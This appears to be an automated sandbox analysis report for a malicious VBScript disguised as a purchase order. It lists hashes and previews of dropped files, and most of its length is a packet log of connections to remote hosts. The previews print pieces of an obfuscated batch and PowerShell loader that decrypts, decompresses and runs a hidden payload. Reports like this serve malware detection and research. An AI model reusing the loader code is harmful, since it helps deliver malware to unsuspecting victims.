SHA-256:	EE72B85C0B4CC07AA9CA84C07F176C520FC50ABA1948B47D3B067541BA216197
SHA-512:	FC29C9A7EFF1A14B46D5FEC0B523D2B223435742DEE168B96822A20965BCD92B0FED9F0C7C0EC99FC0CE43AFD019A91626D0E8DE44A3AFAEDBD14B596924CCEB
Malicious:	true
Preview:	cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls..set "BMBI=Lo"..set "NoPm=nvo"..set "RAtk=lect"..set "wDXk=byp"..set "BabZ=prof"..set "npxxsdQFXszBBuABzmwb=echo cls;powershell "..set "BFYxstiwHkLqdvylpdpK=-w hidden;function d"..set "xkozbSJbcwKpEayIrafY=ecrypt_function($par"..set "UuXNHixgVpmwWLDqqzwA=am_var){.$aes_var=[S"..set "KgtlzvLdXQUpXrPdmBRS=ystem.Security.Crypt"..set "uCfNkotSwhsSDFnNbMnl=ography.Aes]::Create"..set "wuifuXzEWAePHDfhaFbl=();.$aes_var.Mode=[S"..set "cTGQycLsdbcAnFvZuZsm=ystem.Security.Crypt"..set "OOWWcCkZzfMvLbjDOsHs=ography.CipherMode]:"..set "lhBUyEBchgNamOwoWKNV=:CBC;.$aes_var.Paddi"..set "RLSXoGOmwSlbrabHmbxy=ng=[System.Security."..set "bhRtsLiWEVGeFMAzoDFR=Cryptography.Padding"..set "PoFpVMImMObVmoTKTzFC=Mode]::PKCS7;.$aes_v"

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (2026), with CRLF line terminators
Category:	dropped
Size (bytes):	2028
Entropy (8bit):	5.571944595796485
Encrypted:	false
SSDEEP:	48:QIJRm8RUYRxSKB3HnqjB3LHzDpOXkHIkMikEcrbhM2a72ut41X1hxhOWYxWwWPCg:JBN7PB3qjBbHVPc+pDmjTczx97PDc
MD5:	B15E6EF34B8CBAB4E4AAF198081F5FD9
SHA1:	12CF72863E5C32908B444464E5B83A1BB745D6F9
SHA-256:	A79E8F50FAF512F094B8CAC7AE02F664907F2D60A5D765E20C0D14C503367F5C
SHA-512:	8F918DC235A06EAA99F53CBCED4B6310CCC7DC765DB568BAF5E888623ABD4773C29FF51F064FB92B96D491F429397EA606FD97D3B47CAA761414DC18C7DE043D
Malicious:	false
Preview:	cls;powershell -w hidden;function decrypt_function($param_var){.$aes_var=[System.Security.Cryptography.Aes]::Create();.$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;.$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;.$aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ=');.$aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw==');.$decryptor_var=$aes_var.CreateDecryptor();.$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);.$decryptor_var.Dispose();.$aes_var.Dispose();.$return_var;}function decompress_function($param_var){.$cxhgH=New-Object System.IO.MemoryStream(,$param_var);.$XWybH=New-Object System.IO.MemoryStream;.$OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress);.$OXCUo.CopyTo($XWybH);.$OXCUo.Dispose();.$cxhgH.Dispose();.$XWybH.Dispose();.$XWybH.ToArray();}function execute_function($param_var,$param2_var){.$sM

Static File Info

General

File type:	ASCII text, with very long lines (65493), with CRLF line terminators
Entropy (8bit):	5.641596450524331
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	PO#2195112.vbs
File size:	947'023 bytes
MD5:	0b3560c39b68490388b08e96e46a1dc6
SHA1:	bf04e9d0e08954027bc797a1d3723026320d4fb9
SHA256:	78d59fb49b75b46fa15aa5b9f9d69f7a83980486f12158783e619169aaac8884
SHA512:	91735fbd835cb639a1b7e8e2f209c6329c117082bd748386c7d7d1ac0e07aa7f60e72f7fdd47aa3c67f5c3e37254fa53b20ce5e1ee3ecfa0411fedce5b8e0c30
SSDEEP:	12288:oZ/XHFELMBg40e3QoEeAk1mcmLanb7Gf1ZhlYe10MzcnKJfZlda4VqegucN:odH+LMqQEedEcMSCmnK/uTN
TLSH:	3D1502148D882FB9DEFC2A1840FE171E53E04A9A550FB94AA773BD4ABFF7504421B1C9
File Content Preview:	Option Explicit....' Base64 encoded bytes..Dim base64Encoded : base64Encoded = "Y2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQogICAgY2xzDQo

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 08:43:57.326179028 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:43:57.331064939 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:43:57.331187010 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:43:57.334868908 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:43:57.339674950 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:43:58.575417995 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:43:58.615483999 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:43:58.976906061 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:43:58.981450081 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:43:58.987287998 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:43:58.987349033 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:43:58.992377043 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.101056099 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.102632999 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.107784986 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.600584984 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.628284931 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.631650925 CEST	49713	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.633260965 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.633331060 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.636631012 CEST	35890	49713	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.636688948 CEST	49713	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.636754036 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.640048981 CEST	49713	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.641658068 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.644119978 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.645745039 CEST	35890	49713	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.646662951 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.649025917 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:00.649085045 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.652892113 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:00.657767057 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:01.106277943 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:44:01.111299992 CEST	80	49715	178.237.33.50	192.168.2.6
Jul 3, 2024 08:44:01.111416101 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:44:01.111507893 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:44:01.116466045 CEST	80	49715	178.237.33.50	192.168.2.6
Jul 3, 2024 08:44:01.722057104 CEST	80	49715	178.237.33.50	192.168.2.6
Jul 3, 2024 08:44:01.722115993 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:44:01.733398914 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:01.741120100 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:01.849020004 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:01.849162102 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:01.859998941 CEST	35890	49713	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:01.896723032 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:01.896792889 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:01.912300110 CEST	49713	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.278882027 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.278903961 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.279032946 CEST	35890	49713	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.283256054 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.288240910 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.288342953 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.289690018 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.293185949 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294559956 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294639111 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.294713020 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294728041 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294739008 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294749975 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294759989 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294770956 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294770956 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.294804096 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294815063 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.294841051 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.299469948 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.299678087 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.299694061 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.299705982 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.300641060 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.302870035 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.302927971 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.304429054 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.305628061 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.305660009 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.305671930 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.305707932 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.305757046 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.305788994 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.305811882 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.305830956 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.305840015 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.305844069 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.305875063 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.307527065 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.307818890 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.307852030 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.307866096 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.307890892 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.307993889 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.308006048 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.309794903 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.310209036 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.310256958 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.310565948 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.310772896 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.310800076 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.310924053 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.310939074 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.310961008 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.310973883 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312069893 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.312376022 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312546968 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312561035 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312572002 CEST	49713	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.312582016 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312603951 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312691927 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312701941 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312714100 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312722921 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312736034 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312747002 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312767982 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312789917 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.312802076 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.314343929 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.314747095 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.314769030 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.314779997 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315078020 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315093994 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315104008 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315114021 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315133095 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315143108 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315152884 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315164089 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315175056 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315186024 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315207958 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315221071 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.315442085 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.315563917 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.316770077 CEST	49713	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.317042112 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317059040 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317082882 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317091942 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317101002 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317110062 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317150116 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317158937 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317208052 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317217112 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317224979 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317233086 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317250013 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317259073 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.317434072 CEST	35890	49713	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319545984 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319561005 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319570065 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319578886 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319586992 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319595098 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319603920 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319653988 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319663048 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319672108 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319689035 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319698095 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319705963 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.319715977 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320288897 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320319891 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320328951 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320414066 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320522070 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320532084 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320540905 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320928097 CEST	35890	49714	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.320996046 CEST	49714	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.321805000 CEST	35890	49713	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:02.321857929 CEST	49713	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:02.720252991 CEST	80	49715	178.237.33.50	192.168.2.6
Jul 3, 2024 08:44:02.720360994 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:44:03.160811901 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.160836935 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.160847902 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.160870075 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.160972118 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.161128044 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.165853024 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.165901899 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.165911913 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.165981054 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.174299002 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.174348116 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.174359083 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.174366951 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.174407959 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.174436092 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.174499035 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.174510002 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.174545050 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.174578905 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.174628019 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.531081915 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.531111956 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.531121969 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.531193972 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.536295891 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.536370039 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.536381960 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.536392927 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.536422968 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.536479950 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.536554098 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.536595106 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.541456938 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.541475058 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.541486025 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.541527033 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.541552067 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.541589975 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.546389103 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.546437025 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.546447039 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.546502113 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.546849966 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.546864033 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.546878099 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.546895027 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.546916962 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.549729109 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.549745083 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.549757004 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.549791098 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.549793005 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.549834013 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.589339972 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.589370012 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.589386940 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.589399099 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.589565992 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.589565992 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.617624998 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.617644072 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.617777109 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.881200075 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.881237030 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.881319046 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.881345987 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.881373882 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.881388903 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.881412983 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.881426096 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.881473064 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.889923096 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.889959097 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.889975071 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.890002966 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.890131950 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.890187979 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.894399881 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.894439936 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.894454956 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.894490957 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.894532919 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.894547939 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.894572020 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.901616096 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.901648045 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.901663065 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.901676893 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.901676893 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.901701927 CEST	49712	35890	192.168.2.6	64.188.16.157
